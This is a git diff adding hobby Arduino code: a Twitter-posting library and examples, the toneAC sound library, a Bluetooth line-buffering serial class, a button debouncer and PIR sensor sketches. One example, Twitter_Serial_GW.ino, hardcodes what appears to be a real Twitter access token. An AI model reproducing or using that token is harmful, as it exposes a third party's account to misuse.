that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + */ + +// ver1.2 - Use +// ver1.3 - Support IDE 1.0 + +#include +#include "Twitter.h" + +#define LIB_DOMAIN "arduino-tweet.appspot.com" + +#if defined(ARDUINO) && ARDUINO < 100 +static uint8_t server[] = {0,0,0,0}; // IP address of LIB_DOMAIN +Twitter::Twitter(const char *token) : client(server, 80), token(token) +{ +} +#else +Twitter::Twitter(const char *token) : token(token) +{ +} +#endif + +bool Twitter::post(const char *msg) +{ +#if defined(ARDUINO) && ARDUINO < 100 + DNSError err = EthernetDNS.resolveHostName(LIB_DOMAIN, server); + if (err != DNSSuccess) { + return false; + } +#endif + parseStatus = 0; + statusCode = 0; +#if defined(ARDUINO) && ARDUINO < 100 + if (client.connect()) { +#else + if (client.connect(LIB_DOMAIN, 80)) { +#endif + client.println("POST http://" LIB_DOMAIN "/update HTTP/1.0"); + client.print("Content-Length: "); + client.println(strlen(msg)+strlen(token)+14); + client.println(); + client.print("token="); + client.print(token); + client.print("&status="); + client.println(msg); + } else { + return false; + } + return true; +} + +bool Twitter::checkStatus(Print *debug) +{ + if (!client.connected()) { + if (debug) + while(client.available()) + debug->print((char)client.read()); + client.flush(); + client.stop(); + return false; + } + if (!client.available()) + return true; + char c = client.read(); + if (debug) + debug->print(c); + switch(parseStatus) { + case 0: + if (c == ' ') parseStatus++; break; // skip "HTTP/1.1 " + case 1: + if (c >= '0' && c <= '9') { + statusCode *= 10; + statusCode += c - '0'; + } else { + parseStatus++; + } + } + return true; +} + +int Twitter::wait(Print *debug) +{ + while (checkStatus(debug)); + return statusCode; +} diff --git a/Projects/libraries/Installed_libs/Twitter/Twitter.h b/Projects/libraries/Installed_libs/Twitter/Twitter.h new file mode 100755 index 0000000..0f06ad7 --- /dev/null +++ b/Projects/libraries/Installed_libs/Twitter/Twitter.h @@ -0,0 +1,46 @@ +/* + Twitter.cpp - Arduino library to Post messages to Twitter using OAuth. + Copyright (c) NeoCat 2010-2011. All right reserved. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + */ + +// ver1.2 - Use to support IDE 0019 or later +// ver1.3 - Support IDE 1.0 + +#ifndef TWITTER_H +#define TWITTER_H + +#include +#include +#if defined(ARDUINO) && ARDUINO > 18 // Arduino 0019 or later +#include +#endif +#include +#if defined(ARDUINO) && ARDUINO < 100 // earlier than Arduino 1.0 +#include +#endif + +class Twitter +{ +private: + uint8_t parseStatus; + int statusCode; + const char *token; +#if defined(ARDUINO) && ARDUINO < 100 + Client client; +#else + EthernetClient client; +#endif +public: + Twitter(const char *user_and_passwd); + + bool post(const char *msg); + bool checkStatus(Print *debug = NULL); + int wait(Print *debug = NULL); + int status(void) { return statusCode; } +}; + +#endif //TWITTER_H diff --git a/Projects/libraries/Installed_libs/Twitter/examples/SimplePost/SimplePost.pde b/Projects/libraries/Installed_libs/Twitter/examples/SimplePost/SimplePost.pde new file mode 100755 index 0000000..a525922 --- /dev/null +++ b/Projects/libraries/Installed_libs/Twitter/examples/SimplePost/SimplePost.pde @@ -0,0 +1,49 @@ +#include // needed in Arduino 0019 or later +#include +#include + +// The includion of EthernetDNS is not needed in Arduino IDE 1.0 or later. +// Please uncomment below in Arduino IDE 0022 or earlier. +//#include + + +// Ethernet Shield Settings +byte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED }; + +// If you don't specify the IP address, DHCP is used(only in Arduino 1.0 or later). +byte ip[] = { 192, 168, 2, 250 }; + +// Your Token to Tweet (get it from http://arduino-tweet.appspot.com/) +Twitter twitter("YOUR-TOKEN-HERE"); + +// Message to post +char msg[] = "Hello, World! I'm Arduino!"; + +void setup() +{ + delay(1000); + Ethernet.begin(mac, ip); + // or you can use DHCP for autoomatic IP address configuration. + // Ethernet.begin(mac); + Serial.begin(9600); + + Serial.println("connecting ..."); + if (twitter.post(msg)) { + // Specify &Serial to output received response to Serial. + // If no output is required, you can just omit the argument, e.g. + // int status = twitter.wait(); + int status = twitter.wait(&Serial); + if (status == 200) { + Serial.println("OK."); + } else { + Serial.print("failed : code "); + Serial.println(status); + } + } else { + Serial.println("connection failed."); + } +} + +void loop() +{ +} diff --git a/Projects/libraries/Installed_libs/Twitter/examples/Twitter_Serial_GW/Twitter_Serial_GW.ino b/Projects/libraries/Installed_libs/Twitter/examples/Twitter_Serial_GW/Twitter_Serial_GW.ino new file mode 100755 index 0000000..1a6724b --- /dev/null +++ b/Projects/libraries/Installed_libs/Twitter/examples/Twitter_Serial_GW/Twitter_Serial_GW.ino @@ -0,0 +1,80 @@ +#include // needed in Arduino 0019 or later +#include +#include + +// The includion of EthernetDNS is not needed in Arduino IDE 1.0 or later. +// Please uncomment below in Arduino IDE 0022 or earlier. +//#include + + +// Sample : Serial port => Twitter gateway +// Run this program on Arduino and connect via some Serial port terminal software. +// Type a message and hit enter key, and it will be posted to Twitter. +// Arduino IDE Serial Monitor is not usable because it doesn't seem able to send Enter key code. + +// Ethernet Shield Settings +byte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED }; + +// If you don't specify the IP address, DHCP is used(only in Arduino 1.0 or later). +byte ip[] = { 192, 168, 2, 250 }; + +// Your Token to Tweet (get it from http://arduino-tweet.appspot.com/) +Twitter twitter("2307428619-jTdwfFJ4r9aYuaYHQ2YeqBWQNOy6nSg6aTRequb"); + + +char msg[141] = "Test01"; +int len = 0; + +void setup() +{ + delay(1000); + Ethernet.begin(mac, ip); + // or you can use DHCP for autoomatic IP address configuration. + // Ethernet.begin(mac); + + Serial.begin(9600); + Serial.print("> "); +} + +void loop() +{ + if (Serial.available() > 0) { + char recv = msg[len++] = Serial.read(); + if (recv == '\b' || recv == 127) { // Backspace + if (len > 1) { + len -= 2; + Serial.print("\b \b"); + } + } + else if (recv == '\r' || recv == '\n') { // send CR/LF to post + Serial.print("\r\n"); + len--; + msg[len] = 0; + if (len > 0) + post(); + len = 0; + Serial.print("\r\n> "); + } + else if (len > 140) + len = 140; + else + Serial.print(recv); + } +} + +void post() +{ + Serial.println("connecting ..."); + if (twitter.post(msg)) { + int status = twitter.wait(); + if (status == 200) { + Serial.println("OK."); + } else { + Serial.print("failed : code "); + Serial.println(status); + } + } else { + Serial.println("connection failed."); + } + delay(1000); +} diff --git a/Projects/libraries/Installed_libs/Twitter/keywords.txt b/Projects/libraries/Installed_libs/Twitter/keywords.txt new file mode 100755 index 0000000..da10403 --- /dev/null +++ b/Projects/libraries/Installed_libs/Twitter/keywords.txt @@ -0,0 +1,22 @@ +####################################### +# Syntax Coloring Map For Twitter +####################################### + +####################################### +# Datatypes (KEYWORD1) +####################################### + +Twitter KEYWORD1 + +####################################### +# Methods and Functions (KEYWORD2) +####################################### + +post KEYWORD2 +getStatus KEYWORD2 +checkStatus KEYWORD2 +wait KEYWORD2 + +####################################### +# Constants (LITERAL1) +####################################### diff --git a/Projects/libraries/Installed_libs/readme.txt b/Projects/libraries/Installed_libs/readme.txt new file mode 100755 index 0000000..a8f1390 --- /dev/null +++ b/Projects/libraries/Installed_libs/readme.txt @@ -0,0 +1 @@ +For information on installing libraries, see: http://arduino.cc/en/Guide/Libraries diff --git a/Projects/libraries/Installed_libs/toneAC/examples/toneAC_demo/toneAC_demo.pde b/Projects/libraries/Installed_libs/toneAC/examples/toneAC_demo/toneAC_demo.pde new file mode 100755 index 0000000..f91cae4 --- /dev/null +++ b/Projects/libraries/Installed_libs/toneAC/examples/toneAC_demo/toneAC_demo.pde @@ -0,0 +1,35 @@ +// --------------------------------------------------------------------------- +// Connect your piezo buzzer (without internal oscillator) or speaker to these pins: +// Pins 9 & 10 - ATmega328, ATmega128, ATmega640, ATmega8, Uno, Leonardo, etc. +// Pins 11 & 12 - ATmega2560/2561, ATmega1280/1281, Mega +// Pins 12 & 13 - ATmega1284P, ATmega644 +// Pins 14 & 15 - Teensy 2.0 +// Pins 25 & 26 - Teensy++ 2.0 +// Be sure to include an inline 100 ohm resistor on one pin as you normally do when connecting a piezo or speaker. +// --------------------------------------------------------------------------- + +#include + +// Melody liberated from the toneMelody Arduino example sketch by Tom Igoe. +int melody[] = { 262, 196, 196, 220, 196, 0, 247, 262 }; +int noteDurations[] = { 4, 8, 8, 4, 4, 4, 4, 4 }; + +void setup() {} // Nothing to setup, just start playing! + +void loop() { + for (unsigned long freq = 125; freq <= 15000; freq += 10) { + toneAC(freq); // Play the frequency (125 Hz to 15 kHz sweep in 10 Hz steps). + delay(1); // Wait 1 ms so you can hear it. + } + toneAC(); // Turn off toneAC, can also use noToneAC(). + + delay(1000); // Wait a second. + + for (int thisNote = 0; thisNote < 8; thisNote++) { + int noteDuration = 1000/noteDurations[thisNote]; + toneAC(melody[thisNote], 10, noteDuration, true); // Play thisNote at full volume for noteDuration in the background. + delay(noteDuration * 4 / 3); // Wait while the tone plays in the background, plus another 33% delay between notes. + } + + while(1); // Stop (so it doesn't repeat forever driving you crazy--you're welcome). +} \ No newline at end of file diff --git a/Projects/libraries/Installed_libs/toneAC/examples/toneAC_dual_LED/toneAC_dual_LED.pde b/Projects/libraries/Installed_libs/toneAC/examples/toneAC_dual_LED/toneAC_dual_LED.pde new file mode 100755 index 0000000..76ea2a0 --- /dev/null +++ b/Projects/libraries/Installed_libs/toneAC/examples/toneAC_dual_LED/toneAC_dual_LED.pde @@ -0,0 +1,25 @@ +// --------------------------------------------------------------------------- +// Connect a two-pin dual LED to the following pins with inline 220 ohm resistor. +// Pins 9 & 10 - ATmega328, ATmega128, ATmega640, ATmega8, Uno, Leonardo, etc. +// Pins 11 & 12 - ATmega2560/2561, ATmega1280/1281, Mega +// Pins 12 & 13 - ATmega1284P, ATmega644 +// Pins 14 & 15 - Teensy 2.0 +// Pins 25 & 26 - Teensy++ 2.0 +// Connect the center lead of a potentiometer to analog pin A0 and the other two leads to +5V and ground. +// --------------------------------------------------------------------------- + +#include + +unsigned long timestamp = 0; // Stores when the next time the routine is set to run. + +void setup() {} + +void loop() { + if (millis() > timestamp) { // Is it time yet? + timestamp += 500; // Set the next time routine will run. 500 ms because the lowest frequency is 2 Hz, which is a half second. + int pot = analogRead(A0); // Read the potentiometer connected to analog pin A0 to control alternating flashing speed. + int freq = map(pot, 0, 1023, 2, 40); // Convert pot analog values to a range from 2 to 40 Hz. + toneAC(freq, 10, 0, true); // Set the frequency and have it run forever in the background (next event should take over in 500 ms). + } + /* Do a bunch of other stuff here, it won't affect toneAC doing its thing. */ +} diff --git a/Projects/libraries/Installed_libs/toneAC/keywords.txt b/Projects/libraries/Installed_libs/toneAC/keywords.txt new file mode 100755 index 0000000..05c2936 --- /dev/null +++ b/Projects/libraries/Installed_libs/toneAC/keywords.txt @@ -0,0 +1,18 @@ +################################### +# Syntax Coloring Map For toneAC +################################### + +################################### +# Datatypes (KEYWORD1) +################################### + +################################### +# Methods and Functions (KEYWORD2) +################################### + +toneAC KEYWORD2 +noToneAC KEYWORD2 + +################################### +# Constants (LITERAL1) +################################### diff --git a/Projects/libraries/Installed_libs/toneAC/toneAC.cpp b/Projects/libraries/Installed_libs/toneAC/toneAC.cpp new file mode 100755 index 0000000..ca70d1f --- /dev/null +++ b/Projects/libraries/Installed_libs/toneAC/toneAC.cpp @@ -0,0 +1,68 @@ +// --------------------------------------------------------------------------- +// Created by Tim Eckel - teckel@leethost.com +// Copyright 2013 License: GNU GPL v3 http://www.gnu.org/licenses/gpl-3.0.html +// +// See "toneAC.h" for purpose, syntax, version history, links, and more. +// --------------------------------------------------------------------------- + +#include "toneAC.h" + +unsigned long _tAC_time; // Used to track end note with timer when playing note in the background. +#ifndef TONEAC_TINY +uint8_t _tAC_volume[] = { 200, 100, 67, 50, 40, 33, 29, 22, 11, 2 }; // Duty for linear volume control. +#endif + +#ifndef TONEAC_TINY +void toneAC(unsigned long frequency, uint8_t volume, unsigned long length, uint8_t background) { + if (frequency == 0 || volume == 0) { noToneAC(); return; } // If frequency or volume are 0, turn off sound and return. + if (volume > 10) volume = 10; // Make sure volume is in range (1 to 10). +#else +void toneAC(unsigned long frequency, unsigned long length) { + if (frequency == 0) { noToneAC(); return; } // If frequency is 0, turn off sound and return. +#endif + + PWMT1DREG |= _BV(PWMT1AMASK) | _BV(PWMT1BMASK); // Set timer 1 PWM pins to OUTPUT (because analogWrite does it too). + + uint8_t prescaler = _BV(CS10); // Try using prescaler 1 first. + unsigned long top = F_CPU / frequency / 2 - 1; // Calculate the top. + if (top > 65535) { // If not in the range for prescaler 1, use prescaler 256 (122 Hz and lower @ 16 MHz). + prescaler = _BV(CS12); // Set the 256 prescaler bit. + top = top / 256 - 1; // Calculate the top using prescaler 256. + } +#ifndef TONEAC_TINY + unsigned int duty = top / _tAC_volume[volume - 1]; // Calculate the duty cycle (volume). +#else + unsigned int duty = top >> 1; // 50% duty cycle (loudest and highest quality). +#endif + +#ifndef TONEAC_TINY + if (length > 0 && background) { // Background tone playing, returns control to your sketch. +#else + if (length > 0) { // Background tone playing, returns control to your sketch. +#endif + _tAC_time = millis() + length; // Set when the note should end. + TIMSK1 |= _BV(OCIE1A); // Activate the timer interrupt. + } + + ICR1 = top; // Set the top. + if (TCNT1 > top) TCNT1 = top; // Counter over the top, put within range. + TCCR1B = _BV(WGM13) | prescaler; // Set PWM, phase and frequency corrected (top=ICR1) and prescaler. + OCR1A = OCR1B = duty; // Set the duty cycle (volume). + TCCR1A = _BV(COM1A1) | _BV(COM1B1) | _BV(COM1B0); // Inverted/non-inverted mode (AC). + +#ifndef TONEAC_TINY + if (length > 0 && !background) { delay(length); noToneAC(); } // Just a simple delay, doesn't return control till finished. +#endif +} + +void noToneAC() { + TIMSK1 &= ~_BV(OCIE1A); // Remove the timer interrupt. + TCCR1B = _BV(CS11); // Default clock prescaler of 8. + TCCR1A = _BV(WGM10); // Set to defaults so PWM can work like normal (PWM, phase corrected, 8bit). + PWMT1PORT &= ~_BV(PWMT1AMASK); // Set timer 1 PWM pins to LOW. + PWMT1PORT &= ~_BV(PWMT1BMASK); // Other timer 1 PWM pin also to LOW. +} + +ISR(TIMER1_COMPA_vect) { // Timer interrupt vector. + if (millis() >= _tAC_time) noToneAC(); // Check to see if it's time for the note to end. +} \ No newline at end of file diff --git a/Projects/libraries/Installed_libs/toneAC/toneAC.h b/Projects/libraries/Installed_libs/toneAC/toneAC.h new file mode 100755 index 0000000..f42c985 --- /dev/null +++ b/Projects/libraries/Installed_libs/toneAC/toneAC.h @@ -0,0 +1,111 @@ +// --------------------------------------------------------------------------- +// toneAC Library - v1.2 - 01/27/2013 +// +// AUTHOR/LICENSE: +// Created by Tim Eckel - teckel@leethost.com +// Copyright 2013 License: GNU GPL v3 http://www.gnu.org/licenses/gpl-3.0.html +// +// LINKS: +// Project home: http://code.google.com/p/arduino-tone-ac/ +// Blog: http://arduino.cc/forum/index.php/topic,142097.msg1066968.html +// +// DISCLAIMER: +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// PURPOSE: +// Replacement to the standard tone library with the advantage of nearly twice +// the volume, higher frequencies (even if running at a lower clock speed), +// higher quality (less clicking), nearly 1.5k smaller compiled code and less +// stress on the speaker. Disadvantages are that it must use certain pins and +// it uses two pins instead of one. But, if you're flexible with your pin +// choices, this is a great upgrade. It also uses timer 1 instead of timer 2, +// which may free up a conflict you have with the tone library. It exclusively +// uses port registers for the fastest and smallest code possible. +// +// USAGE: +// Connection is very similar to a piezo or standard speaker. Except, instead +// of connecting one speaker wire to ground you connect both speaker wires to +// Arduino pins. The pins you connect to are specific, as toneAC lets the +// ATmega microcontroller do all the pin timing and switching. This is +// important due to the high switching speed possible with toneAC and to make +// sure the pins are alyways perfectly out of phase with each other +// (push/pull). See the below CONNECTION section for which pins to use for +// different Arduinos. Just as usual when connecting a speaker, make sure you +// add an inline 100 ohm resistor between one of the pins and the speaker wire. +// +// CONNECTION: +// Pins 9 & 10 - ATmega328, ATmega128, ATmega640, ATmega8, Uno, Leonardo, etc. +// Pins 11 & 12 - ATmega2560/2561, ATmega1280/1281, Mega +// Pins 12 & 13 - ATmega1284P, ATmega644 +// Pins 14 & 15 - Teensy 2.0 +// Pins 25 & 26 - Teensy++ 2.0 +// +// SYNTAX: +// toneAC( frequency [, volume [, length [, background ]]] ) - Play a note. +// Parameters: +// * frequency - Play the specified frequency indefinitely, turn off with toneAC(). +// * volume - [optional] Set a volume level. (default: 10, range: 0 to 10 [0 = off]) +// * length - [optional] Set the length to play in milliseconds. (default: 0 [forever], range: 0 to 2^32-1) +// * background - [optional] Play note in background or pause till finished? (default: false, values: true/false) +// toneAC() - Stop playing. +// noToneAC() - Same as toneAC(). +// +// HISTORY: +// 01/27/2013 v1.2 - Fixed a counter error which went "over the top" and caused +// periods of silence (thanks Krodal). For advanced users needing tight code, +// the TONEAC_TINY switch in toneAC.h activates a version of toneAC() that +// saves 110 bytes. With TONEAC_TINY, the syntax is toneAC(frequency, length) +// while playing the note at full volume forever in the background. Added +// support for the ATmega 640, 644, 1281, 1284P and 2561 microcontrollers. +// +// 01/16/2013 v1.1 - Option to play notes in background, returning control back +// to your sketch for processing while note plays (similar to the way the tone +// library works). Volume is now linear and in the range from 0-10. Now uses +// prescaler 256 instead of 64 for frequencies below 122 Hz so it can go down +// to 1 Hz no matter what speed the CPU is clocked at (helpful if using toneAC +// to control a two-pin dual LED). +// +// 01/11/2013 v1.0 - Initial release. +// +// --------------------------------------------------------------------------- + +#ifndef toneAC_h + #define toneAC_h + + #if defined(ARDUINO) && ARDUINO >= 100 + #include + #else + #include + #endif + + //#define TONEAC_TINY // Uncomment to use alternate function toneAC(frequency, length) that saves 110 bytes. + + #if defined (__AVR_ATmega32U4__) || defined(__AVR_ATmega640__) || defined(__AVR_ATmega1280__) || defined(__AVR_ATmega1281__) || defined(__AVR_ATmega2560__) || defined(__AVR_ATmega2561__) + #define PWMT1AMASK DDB5 + #define PWMT1BMASK DDB6 + #define PWMT1DREG DDRB + #define PWMT1PORT PORTB + #elif defined(__AVR_ATmega1284P__) || defined(__AVR_ATmega644__) || defined(__AVR_ATmega644P__) + #define PWMT1AMASK DDD4 + #define PWMT1BMASK DDD5 + #define PWMT1DREG DDRD + #define PWMT1PORT PORTD + #else + #define PWMT1AMASK DDB1 + #define PWMT1BMASK DDB2 + #define PWMT1DREG DDRB + #define PWMT1PORT PORTB + #endif + + #if defined(__AVR_ATmega8__) || defined(__AVR_ATmega128__) + #define TIMSK1 TIMSK + #endif + + #ifndef TONEAC_TINY + void toneAC(unsigned long frequency = 0, uint8_t volume = 10, unsigned long length = 0, uint8_t background = false); + #else + void toneAC(unsigned long frequency = 0, unsigned long length = 0); + #endif + void noToneAC(); +#endif \ No newline at end of file diff --git a/Projects/libraries/PLabBT/PLabBTSerial.cpp b/Projects/libraries/PLabBT/PLabBTSerial.cpp new file mode 100644 index 0000000..8e1e7d5 --- /dev/null +++ b/Projects/libraries/PLabBT/PLabBTSerial.cpp @@ -0,0 +1,85 @@ +#include + +int PLabBTSerial::read() { + if (_available) + { + int r = _buffer[_retLoc]; + _available--; + if (_available) + { + _retLoc++; + } + else + { + _bLoc = 0; + _retLoc = 0; + } + return r; + } + return -1; +} + +void PLabBTSerial::read(char* buffer, int bufferSize) { + if (_available > bufferSize) + { + return; + } + int i = 0; + while (_available) + { + buffer[i] = read(); + i++; + } +} + +int PLabBTSerial::available() +{ + if (_available > 0) + { + return _available; + } + while (SoftwareSerial::available() > 0) + { + _buffer[_bLoc] = SoftwareSerial::read(); + if (_buffer[_bLoc] == '\r') + { + // Should just skip + } + else if (_buffer[_bLoc] == '\n') + { + // New line found. End string and return available data count + _buffer[_bLoc] = '\0'; + _available = (_bLoc - _retLoc) + 1; + return _available; + } + else + { + _bLoc++; + } + while (_bLoc >= _bufferSize) + { + _bLoc--; + } + } + return 0; +} + +// Constructor +PLabBTSerial::PLabBTSerial(uint8_t receivePin, uint8_t transmitPin, bool inverse_logic /*= false*/, uint8_t bufferSize /*= 50*/) : + SoftwareSerial(receivePin, transmitPin, inverse_logic) +{ + _bufferSize = bufferSize; + _buffer = new char[_bufferSize]; + _bLoc = 0; + _retLoc = 0; + _available = 0; +} + +// Destructor +PLabBTSerial::~PLabBTSerial() +{ + delete[] _buffer; + end(); +} + + diff --git a/Projects/libraries/PLabBT/PLabBTSerial.h b/Projects/libraries/PLabBT/PLabBTSerial.h new file mode 100644 index 0000000..6a30cc9 --- /dev/null +++ b/Projects/libraries/PLabBT/PLabBTSerial.h @@ -0,0 +1,46 @@ + +/* + * PLabBTSerial + * Version 0.1 February, 2015 + * Library that simplify serial line communication using SoftwareSerial. + * Allows the user to batch up characters to form an entire line before reading + * + * Author Inge Edward Halsaunet + */ + + +#ifndef PLAB_BT_SERIAL_H +#define PLAB_BT_SERIAL_H + +#include +#include + +class PLabBTSerial : public SoftwareSerial +{ +private: + // Size of buffer. + uint8_t _bufferSize; + // how far is written into the buffer + uint8_t _bLoc; + // How much is read from user + uint8_t _retLoc; + // How much is left available to read on this line + int _available; + // the buffer + char *_buffer; +public: + PLabBTSerial(uint8_t receivePin, uint8_t transmitPin, bool inverse_logic = false, uint8_t bufferSize = 50); + ~PLabBTSerial(); + + // The ones that will be overriden + virtual int read(); + virtual int available(); + + // Completely new method. Fills the given buffer with data received, + // given the buffer is large enough. Given buffer size identified as + // bufferSize + virtual void read(char* buffer, int bufferSize); + +}; + +#endif diff --git a/Projects/libraries/plab-library-master/PushButton.cpp b/Projects/libraries/plab-library-master/PushButton.cpp new file mode 100644 index 0000000..dd155cf --- /dev/null +++ b/Projects/libraries/plab-library-master/PushButton.cpp @@ -0,0 +1,62 @@ +#include "Arduino.h" +#include "PushButton.h" + +#define DEBOUNCE 20 // button debouncer, how many ms to debounce, 5+ ms is usually plenty + +PushButton::PushButton(int pin) +{ + _pin = pin; + _pressed = 0; + justpressed = 0; + justreleased = 0; + previousstate = 0; + currentstate = 0; + lasttime = millis(); + pinMode(_pin, INPUT); +} + +void PushButton::update() +{ + justreleased = 0; + justpressed = 0; + + if ((lasttime + DEBOUNCE) > millis()) { + // not enough time has passed to debounce + return; + } + // ok we have waited DEBOUNCE milliseconds, lets reset the timer + lasttime = millis(); + + currentstate = digitalRead(_pin); // read the button + + if (currentstate == previousstate) { + if ((_pressed == LOW) && (currentstate == LOW)) { + // just pressed + justpressed = 1; + } + else if ((_pressed == HIGH) && (currentstate == HIGH)) { + // just released + justreleased = 1; + } + _pressed = !currentstate; // remember, digital HIGH means NOT pressed + } + //Serial.println(pressed[index], DEC); + previousstate = currentstate; // keep a running tally of the buttons +} + + +boolean PushButton::isDown() +{ + return _pressed; +} + +boolean PushButton::pressed() +{ + return justpressed; +} + +boolean PushButton::released() +{ + return justreleased; +} + diff --git a/Projects/libraries/plab-library-master/PushButton.h b/Projects/libraries/plab-library-master/PushButton.h new file mode 100644 index 0000000..fc75e56 --- /dev/null +++ b/Projects/libraries/plab-library-master/PushButton.h @@ -0,0 +1,31 @@ +/* + PushButton.h - Library for Button with cebounce. + Created by Dag Svanæs, 2015. + Released into the public domain. +*/ + +#ifndef PushButton_h +#define PushButton_h + +#include "Arduino.h" + + +#define DEBOUNCE 20 // button debouncer, how many ms to debounce, 5+ ms is usually plenty + +class PushButton +{ + public: + PushButton(int pin); + void update(); + boolean isDown(); + boolean pressed(); + boolean released(); + private: + int _pin; + byte _pressed, justpressed, justreleased; + byte previousstate; + byte currentstate; + long lasttime; +}; + +#endif \ No newline at end of file diff --git a/Projects/pir_test/pir_test.ino b/Projects/pir_test/pir_test.ino new file mode 100644 index 0000000..acc911b --- /dev/null +++ b/Projects/pir_test/pir_test.ino @@ -0,0 +1,58 @@ + +int ledPin = 13; +int inputPins[] = {2, 4}; +bool pirState[] = {0, 0}; +int val[] = {0, 0}; + +void setup() { + delay(1500); + pinMode(ledPin, OUTPUT); + pinMode(inputPins[0], INPUT); + pinMode(inputPins[1], INPUT); + Serial.begin(9600); +} + +void loop() +{ + val[0] = digitalRead(inputPins[0]); + val[1] = digitalRead(inputPins[1]); + + if (val[0] == 1) + { + if (checkState(1) == 1) { + turnOn(); + } + } + else if (val[1] == 1) + { + if (checkState(0) == 1) { + turnOn(); + } + } + + Serial.println(val[0]); + Serial.println(val[1]); + Serial.println(); + delay(100); +} + +void turnOn() +{ + digitalWrite(ledPin, HIGH); + delay(3000); + digitalWrite(ledPin, LOW); +} + +int checkState(int sensorID) +{ + int changeState = 0; + for (int i = 0; i < 10; i++) + { + if (digitalRead(inputPins[sensorID]) == 1) { + changeState = 1; + } + delay(100); + } + + return changeState; +} diff --git a/Projects/sketch_jan27a/sketch_jan27a.ino b/Projects/sketch_jan27a/sketch_jan27a.ino new file mode 100644 index 0000000..579c0a7 --- /dev/null +++ b/Projects/sketch_jan27a/sketch_jan27a.ino @@ -0,0 +1,35 @@ +// --------------------------------------------------------------------------- +// Connect your piezo buzzer (without internal oscillator) or speaker to these pins: +// Pins 9 & 10 - ATmega328, ATmega128, ATmega640, ATmega8, Uno, Leonardo, etc. +// Pins 11 & 12 - ATmega2560/2561, ATmega1280/1281, Mega +// Pins 12 & 13 - ATmega1284P, ATmega644 +// Pins 14 & 15 - Teensy 2.0 +// Pins 25 & 26 - Teensy++ 2.0 +// Be sure to include an inline 100 ohm resistor on one pin as you normally do when connecting a piezo or speaker. +// --------------------------------------------------------------------------- + +#include + +// Melody liberated from the toneMelody Arduino example sketch by Tom Igoe. +//int melody[] = { 262, 196, 196, 220, 196, 0, 247, 262 }; +//int noteDurations[] = { 4, 8, 8, 4, 4, 4, 4, 4 }; + +void setup() {} // Nothing to setup, just start playing! + +void loop() { + for (unsigned long freq = 125; freq <= 15000; freq += 10) { + toneAC(freq); // Play the frequency (125 Hz to 15 kHz sweep in 10 Hz steps). + delay(1); // Wait 1 ms so you can hear it. + } + toneAC(); // Turn off toneAC, can also use noToneAC(). +/* + delay(1000); // Wait a second. + + for (int thisNote = 0; thisNote < 8; thisNote++) { + int noteDuration = 1000/noteDurations[thisNote]; + toneAC(melody[thisNote], 10, noteDuration, true); // Play thisNote at full volume for noteDuration in the background. + delay(noteDuration * 4 / 3); // Wait while the tone plays in the background, plus another 33% delay between notes. + } +*/ + while(1); // Stop (so it doesn't repeat forever driving you crazy--you're welcome). +} diff --git a/Projects/sketch_jan27a/toneAC.h b/Projects/sketch_jan27a/toneAC.h new file mode 100644 index 0000000..f42c985 --- /dev/null +++ b/Projects/sketch_jan27a/toneAC.h @@ -0,0 +1,111 @@ +// --------------------------------------------------------------------------- +// toneAC Library - v1.2 - 01/27/2013 +// +// AUTHOR/LICENSE: +// Created by Tim Eckel - teckel@leethost.com +// Copyright 2013 License: GNU GPL v3 http://www.gnu.org/licenses/gpl-3.0.html +// +// LINKS: +// Project home: http://code.google.com/p/arduino-tone-ac/ +// Blog: http://arduino.cc/forum/index.php/topic,142097.msg1066968.html +// +// DISCLAIMER: +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// PURPOSE: +// Replacement to the standard tone library with the advantage of nearly twice +// the volume, higher frequencies (even if running at a lower clock speed), +// higher quality (less clicking), nearly 1.5k smaller compiled code and less +// stress on the speaker. Disadvantages are that it must use certain pins and +// it uses two pins instead of one. But, if you're flexible with your pin +// choices, this is a great upgrade. It also uses timer 1 instead of timer 2, +// which may free up a conflict you have with the tone library. It exclusively +// uses port registers for the fastest and smallest code possible. +// +// USAGE: +// Connection is very similar to a piezo or standard speaker. Except, instead +// of connecting one speaker wire to ground you connect both speaker wires to +// Arduino pins. The pins you connect to are specific, as toneAC lets the +// ATmega microcontroller do all the pin timing and switching. This is +// important due to the high switching speed possible with toneAC and to make +// sure the pins are alyways perfectly out of phase with each other +// (push/pull). See the below CONNECTION section for which pins to use for +// different Arduinos. Just as usual when connecting a speaker, make sure you +// add an inline 100 ohm resistor between one of the pins and the speaker wire. +// +// CONNECTION: +// Pins 9 & 10 - ATmega328, ATmega128, ATmega640, ATmega8, Uno, Leonardo, etc. +// Pins 11 & 12 - ATmega2560/2561, ATmega1280/1281, Mega +// Pins 12 & 13 - ATmega1284P, ATmega644 +// Pins 14 & 15 - Teensy 2.0 +// Pins 25 & 26 - Teensy++ 2.0 +// +// SYNTAX: +// toneAC( frequency [, volume [, length [, background ]]] ) - Play a note. +// Parameters: +// * frequency - Play the specified frequency indefinitely, turn off with toneAC(). +// * volume - [optional] Set a volume level. (default: 10, range: 0 to 10 [0 = off]) +// * length - [optional] Set the length to play in milliseconds. (default: 0 [forever], range: 0 to 2^32-1) +// * background - [optional] Play note in background or pause till finished? (default: false, values: true/false) +// toneAC() - Stop playing. +// noToneAC() - Same as toneAC(). +// +// HISTORY: +// 01/27/2013 v1.2 - Fixed a counter error which went "over the top" and caused +// periods of silence (thanks Krodal). For advanced users needing tight code, +// the TONEAC_TINY switch in toneAC.h activates a version of toneAC() that +// saves 110 bytes. With TONEAC_TINY, the syntax is toneAC(frequency, length) +// while playing the note at full volume forever in the background. Added +// support for the ATmega 640, 644, 1281, 1284P and 2561 microcontrollers. +// +// 01/16/2013 v1.1 - Option to play notes in background, returning control back +// to your sketch for processing while note plays (similar to the way the tone +// library works). Volume is now linear and in the range from 0-10. Now uses +// prescaler 256 instead of 64 for frequencies below 122 Hz so it can go down +// to 1 Hz no matter what speed the CPU is clocked at (helpful if using toneAC +// to control a two-pin dual LED). +// +// 01/11/2013 v1.0 - Initial release. +// +// --------------------------------------------------------------------------- + +#ifndef toneAC_h + #define toneAC_h + + #if defined(ARDUINO) && ARDUINO >= 100 + #include + #else + #include + #endif + + //#define 